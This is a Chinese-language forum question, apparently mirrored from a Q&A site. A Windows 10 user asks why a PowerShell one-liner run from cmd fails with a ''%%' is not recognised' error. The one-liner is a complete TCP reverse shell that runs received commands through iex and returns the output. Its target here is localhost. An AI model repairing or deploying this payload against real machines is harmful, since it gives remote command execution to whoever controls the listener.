![Powershell 术语“%%”未被识别为 cmdlet 的名称](https://linux22.com/image/1577930/Powershell%20%E6%9C%AF%E8%AF%AD%E2%80%9C%25%25%E2%80%9D%E6%9C%AA%E8%A2%AB%E8%AF%86%E5%88%AB%E4%B8%BA%20cmdlet%20%E7%9A%84%E5%90%8D%E7%A7%B0.png)
我在 win 10 上的 cmd 上运行此代码
powershell.exe -Command "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
但我得到了这个错误
%% : 术语“%%”未被识别为 cmdlet、函数、脚本文件或可运行程序的名称。请检查名称的拼写,或者如果包含路径,请验证路径是否正确,然后重试。在第 1 行 char:127 + ... 3);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};whil ... + ~~ + CategoryInfo : ObjectNotFound: (%%:String) [], CommandNotFoundException + FullyQualifiedErrorId : CommandNotFoundException
使用“3”个参数调用“Read”时发生异常:“值不能为空。参数名称:缓冲区” 行号:1 字符:140 + ... 5535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) ... + ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + CategoryInfo : NotSpecified: (:) [], MethodInvocationException + FullyQualifiedErrorId : ArgumentNullException 知道为什么会这样吗?我看过一些教程,效果很好